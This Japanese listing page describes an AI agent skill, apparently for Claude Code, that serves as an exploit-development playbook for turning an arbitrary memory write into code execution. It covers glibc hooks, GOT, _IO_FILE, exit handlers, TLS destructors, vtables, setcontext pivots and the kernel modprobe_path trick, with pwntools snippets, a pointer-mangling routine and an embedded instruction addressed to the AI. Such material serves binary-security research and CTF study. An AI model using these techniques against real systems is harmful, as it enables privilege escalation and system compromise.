arbitrary-write-to-rce について
任意書き込みプリミティブをコード実行につなげる、バイナリセキュリティ研究向けの手引きです。glibc のバージョン別に上書き先を整理し、関連する保護機構と発火条件を説明します。
主な機能
- 01glibc のバージョン別に上書き先を比較
- 02GOT、フック、_IO_FILE の悪用を網羅
- 03終了処理と TLS デストラクターの連鎖を解説
- 04modprobe_path と fini_array の利用を紹介
- 05C++ の仮想関数テーブルと setcontext の手法
活用シーン
- 01glibc のバージョンに応じた書き込み先の選定
- 02Full RELRO 下での代替経路の評価
- 03終了関数悪用におけるポインター保護の分析
- 04ヒープやフォーマット文字列の脆弱性からの後続攻撃の検討
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill arbitrary-write-to-rceインストール後、Claude Code で/arbitrary-write-to-rceを入力して読み込まれたか確認します。
詳細
SKILL:任意書き込みからコード実行へ — エキスパート向け攻撃プレイブック
AI LOAD INSTRUCTION:任意書き込みプリミティブをコード実行に変換するためのエキスパート向け手法です。glibc のバージョン互換性別に整理した、主要な上書き対象を網羅しています:GOT、__malloc_hook、__free_hook、_IO_FILE vtable、__exit_funcs、TLS_dtor_list、_dl_fini、modprobe_path、.fini_array、C++ vtable、setcontext ガジェット。これは「最後の一歩」を担うスキルです。ベースモデルは、(glibc 2.34 以降では)存在しなくなったフックを狙ったり、ポインタマングリングの要件を見落としたりすることがよくあります。
0. 関連ルーティング
- heap-exploitation — ヒープ攻撃を使って任意書き込みを取得します
- format-string-exploitation — %n を使って任意書き込みを取得します
- stack-overflow-and-rop — スタックベースの書き込みプリミティブ
- binary-protection-bypass — 保護設定に応じて利用できるターゲット
- heap-exploitation IO_FILE_EXPLOITATION.md — _IO_FILE 構造体の詳細な悪用方法
1. GLIBC バージョン別のターゲット選択
| ターゲット | glibc < 2.24 | 2.24–2.33 | ≥ 2.34 | 必要な知識 |
|---|---|---|---|---|
| GOT 上書き | OK(Partial RELRO) | OK(Partial RELRO) | OK(Partial RELRO) | バイナリのベースアドレス |
__malloc_hook | OK | OK | 削除済み | libc のベースアドレス |
__free_hook | OK | OK | 削除済み | libc のベースアドレス |
__realloc_hook | OK | OK | 削除済み | libc のベースアドレス |
_IO_FILE vtable(直接) | OK | vtable の範囲チェック | vtable の範囲チェック | libc のベースアドレス + ヒープ |
_IO_FILE(_IO_str_jumps 経由) | 該当なし | OK(2.24–2.27) | パッチ適用済み | libc のベースアドレス + ヒープ |
_IO_FILE(_IO_wfile_jumps 経由) | 該当なし | OK(≥ 2.28) | OK | libc のベースアドレス + ヒープ |
__exit_funcs | OK | OK | OK | libc のベースアドレス + ポインターガード |
TLS_dtor_list | 該当なし | 該当なし | OK | TLS アドレス + ポインターガード |
_dl_fini / link_map | OK | OK | OK | ld.so のベースアドレス |
modprobe_path(カーネル) | OK | OK | OK | カーネルのベースアドレス |
.fini_array | OK | OK | OK | バイナリのベースアドレス(書き込み可能な場合) |
| C++ vtable | OK | OK | OK | オブジェクトアドレス + ヒープ |
setcontext ガジェット | OK | OK(2.29 で変更) | OK | libc のベースアドレス |
| スタックのリターンアドレス | 常に利用可能 | 常に利用可能 | 常に利用可能 | スタックアドレス |
2. GOT 上書き
Global Offset Table 内の関数ポインターを置き換えます。
要件
- Partial RELRO(
.got.pltが書き込み可能)— Full RELRO の場合、完全に防がれます
一般的なターゲット
| 上書き元 | 上書き先 | トリガー |
|---|---|---|
printf@GOT | system | 次に入力を /bin/sh として printf(user_input) を呼び出す |
free@GOT | system | ptr が "/bin/sh" を指す状態で、次に free(ptr) を呼び出す |
strlen@GOT | system | 次に strlen(user_input) を呼び出す |
atoi@GOT | system | 入力を "sh" として、次に atoi(user_input) を呼び出す |
puts@GOT | system | 次に puts(user_input) を呼び出す |
exit@GOT | main またはガジェット | 複数回実行できるエクスプロイト用のループを作成します |
__stack_chk_fail@GOT | ret ガジェット | カナリアチェックを無効化します |
# Format string GOT overwrite
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, {elf.got['printf']: libc.sym['system']})
# Heap-based GOT overwrite (tcache poisoning)
# Allocate chunk at GOT address → write system address
3. __malloc_hook / __free_hook(glibc < 2.34)
__malloc_hook
# Overwrite __malloc_hook with one_gadget address
# Triggered by any malloc call (including internal malloc in printf with large format)
write(libc.sym['__malloc_hook'], one_gadget_addr)
# Trigger:
io.sendline('%100000c') # printf calls malloc internally for large format
__free_hook
# Overwrite __free_hook with system
write(libc.sym['__free_hook'], libc.sym['system'])
# Trigger: free a chunk containing "/bin/sh"
chunk_data = b'/bin/sh\x00'
# ... allocate chunk with this data, then free it
one_gadget の制約に対する realloc トリック
# one_gadget often requires specific register/stack state
# realloc pushes registers and adjusts stack before calling __realloc_hook
# Set __malloc_hook = realloc+N (skip some pushes to adjust stack alignment)
# Set __realloc_hook = one_gadget
write(libc.sym['__realloc_hook'], one_gadget)
write(libc.sym['__malloc_hook'], libc.sym['realloc'] + 2) # +2, +4, +6 etc. to adjust
4. _IO_FILE VTABLE
詳細については、IO_FILE_EXPLOITATION.md を参照してください。
バージョン別の概要
| glibc | 手法 | Vtable のターゲット |
|---|---|---|
| < 2.24 | 直接 vtable を上書き | __overflow オフセットに system がある偽のテーブルを vtable に指定します |
| 2.24–2.27 | _IO_str_jumps | 有効範囲内に設定します。_IO_str_finish が _s._free_buffer を呼び出します |
| ≥ 2.28 | _IO_wfile_jumps | ワイド文字パス:_wide_data->_wide_vtable は範囲チェックされません |
| ≥ 2.35 | House of Cat | _IO_wfile_seekoff → _IO_switch_to_wget_mode → 偽のワイド vtable 呼び出し |
FSOP トリガー
# Overwrite _IO_list_all → fake FILE with crafted vtable
# Trigger via exit() or malloc abort → _IO_flush_all_lockp → _IO_OVERFLOW
5. __exit_funcs / __atexit
// __exit_funcs is a linked list of function pointer entries called during exit()
// Each entry contains a flavor (cxa, on, at) and a function pointer
// Function pointers are MANGLED with pointer guard:
// stored = ROL(ptr ^ __pointer_chk_guard, 0x11)
悪用方法
# Need: libc base + __pointer_chk_guard value (at fs:[0x30] or leaked)
# 1. Leak or brute-force pointer_guard
# 2. Compute mangled function pointer:
import struct
def mangle(ptr, guard):
return ((ptr ^ guard) << 0x11 | (ptr ^ guard) >> (64-0x11)) & 0xffffffffffffffff
# 3. Write mangled one_gadget/system to __exit_funcs entry
# 4. Trigger: call exit() or return from main
Pointer Guard がない場合の知識
関数ポインターとポインターガード(TLS の fs:[0x30])の両方を上書きできる場合:
- ポインターガードを 0 に設定します
- 関数ポインターを
ROL(target, 0x11)に設定します - デマングリング:
ROR(stored, 0x11) ^ 0 = ROR(ROL(target, 0x11), 0x11) = target
6. TLS_dtor_list(glibc ≥ 2.34)
スレッドローカルのデストラクターリスト — 2.34 以降における主要な標的です。
// Called during __call_tls_dtors() in exit flow
// Each entry: { void (*func)(void *), void *obj, void *next }
// func is MANGLED same as exit_funcs (PTR_DEMANGLE)
場所
TLS area (pointed by fs register on x86-64)
tls_dtor_list is a thread-local variable in libc
Typically at fs:[offset] — offset found via libc symbol or brute-force
エクスプロイト
# 1. Leak TLS base address (e.g., via canary leak: canary at fs:[0x28])
# 2. Compute tls_dtor_list address
# 3. Forge a tls_dtor_list entry:
entry = p64(mangled_func_ptr) # func (mangled with pointer guard)
entry += p64(arg_value) # obj (passed as argument to func)
entry += p64(0) # next = NULL (end of list)
# 4. Write entry to heap, set tls_dtor_list to point to it
# 5. Trigger: exit() → __call_tls_dtors() → func(obj)
7. _dl_fini / LINK_MAP の破損
攻撃ベクトル
exit() の実行中、_dl_fini は link_map リストを反復処理し、DT_FINI_ARRAY のエントリーを呼び出します。
// In _dl_fini:
for each loaded library (link_map entry):
if l_info[DT_FINI_ARRAY]:
array = l_addr + l_info[DT_FINI_ARRAY]->d_un.d_ptr
for each entry in array:
entry() // call destructor
エクスプロイト
link_mapエントリーのl_addr(再配置ベース)を破損させ、FINI_ARRAY ポインターをずらします- または、
l_info[DT_FINI_ARRAY]を破損させ、偽の配列を指すようにします - 偽の配列には、標的の関数ポインター(system、one_gadget)が含まれます
- トリガー:
exit()→_dl_fini→ 偽のデストラクターを呼び出します
利点:ポインターマングリングがありません(FINI_ARRAY 内の関数ポインターはマングルされません)。
8. modprobe_path(カーネル)
カーネルの modprobe_path を上書きして、root 権限で任意のコマンドを実行します。
# 1. Arbitrary kernel write: overwrite modprobe_path ("/sbin/modprobe")
# with "/tmp/x" (attacker's script)
kernel_write(modprobe_path_addr, b'/tmp/x\x00')
# 2. Prepare script:
# echo '#!/bin/sh' > /tmp/x
# echo 'cat /flag > /tmp/output' >> /tmp/x
# chmod +x /tmp/x
# 3. Trigger: execute a file with unknown binary format
# echo -ne '\xff\xff\xff\xff' > /tmp/trigger
# chmod +x /tmp/trigger
# /tmp/trigger
# → kernel calls modprobe_path ("/tmp/x") as root
カーネルの書き込みプリミティブについては、kernel-exploitation を参照してください。
9. .fini_array
通常のプログラム終了時に呼び出されるデストラクター関数ポインターを上書きします。
# .fini_array contains function pointers called in reverse order during exit
# Typically: [__do_global_dtors_aux, ...]
# Overwrite first entry with target (main for loop, system for RCE)
# Two-stage: .fini_array[0] = main (loop back), .fini_array[1] = <exploit_func>
# First exit: calls .fini_array[1] (exploit_func), then .fini_array[0] (main)
# In main loop: set up final exploit
制限事項:Full RELRO のバイナリーでは、.fini_array が読み取り専用の場合があります。
10. C++ VTABLE の上書き
// C++ objects with virtual functions have a vptr at offset 0
// vptr → vtable → array of function pointers
// Overwrite vptr to point to fake vtable with controlled function pointers
// Object layout:
// +0x00: vptr → [vtable_entry_0, vtable_entry_1, ...]
// +0x08: member data...
# 1. Leak object address and vptr
# 2. Create fake vtable in controlled memory:
fake_vtable = p64(0) # offset -0x10 (RTTI info)
fake_vtable += p64(0) # offset -0x08 (RTTI info)
fake_vtable += p64(target_func) # virtual function 0 → system / one_gadget
fake_vtable += p64(target_func) # virtual function 1
# 3. Overwrite vptr to point to fake_vtable + 0x10 (skip RTTI prefix)
# 4. Trigger: call virtual function on the object
11. setcontext GADGET
libc の setcontext は ucontext_t 構造体からレジスターを読み込みます。ピボットガジェットとして役立ちます。
glibc < 2.29
// setcontext+53: loads registers from [rdi + offsets]
// RDI = first argument = pointer to controlled buffer
// Sets RSP, RIP, and all other registers → full control
glibc ≥ 2.29
// setcontext+61: loads registers from [rdx + offsets]
// Must control RDX, not RDI
// Need an intermediate gadget: mov rdx, [rdi+X]; ... ; call/jmp [rdx+Y]
# Common pattern with __free_hook (pre-2.34):
# __free_hook = setcontext + 61
# free(chunk) → setcontext(chunk) where chunk contains fake ucontext
# From ucontext: set RSP to ROP chain, RIP to ret → ROP continues
# Post-2.34: combine with _IO_FILE exploitation
# _IO_FILE vtable call passes fp as first arg → use gadget to move to rdx → setcontext
12. 判定ツリー
You have an arbitrary write primitive. What to target?
├── What's the RELRO level?
│ ├── None / Partial → GOT overwrite (simplest, most reliable)
│ │ └── printf→system, free→system, atoi→system
│ └── Full RELRO → GOT read-only, choose alternative:
│
├── What glibc version?
│ ├── < 2.34 (hooks available)
│ │ ├── __free_hook = system → free("/bin/sh") [easiest]
│ │ ├── __malloc_hook = one_gadget → trigger malloc [if constraints met]
│ │ └── __realloc_hook + __malloc_hook realloc trick [adjust stack alignment]
│ │
│ ├── ≥ 2.34 (no hooks)
│ │ ├── Know pointer guard (fs:[0x30])?
│ │ │ ├── YES → __exit_funcs or TLS_dtor_list
│ │ │ └── NO → overwrite pointer guard to 0 first, then exit_funcs
│ │ ├── _IO_FILE + _IO_wfile_jumps (House of Apple 2 / Cat)
│ │ │ └── Need: libc base + heap address + controllable FILE structure
│ │ ├── _dl_fini link_map corruption
│ │ │ └── Need: ld.so base address
│ │ └── .fini_array (if writable)
│ │ └── Need: binary base (no PIE, or PIE base leaked)
│ │
│ └── Any version
│ ├── Stack return address (if stack address known)
│ └── C++ vtable (if targeting C++ object with virtual functions)
│
├── Kernel write primitive?
│ ├── modprobe_path (simplest kernel→root)
│ ├── core_pattern (/proc/sys/kernel/core_pattern)
│ └── Direct cred structure overwrite
│
└── Need to chain read → write → execute?
└── setcontext gadget: arbitrary write → pivot RSP → ROP chain
├── glibc < 2.29: setcontext+53 (uses RDI)
└── glibc ≥ 2.29: setcontext+61 (uses RDX, need mov rdx, [rdi] gadget)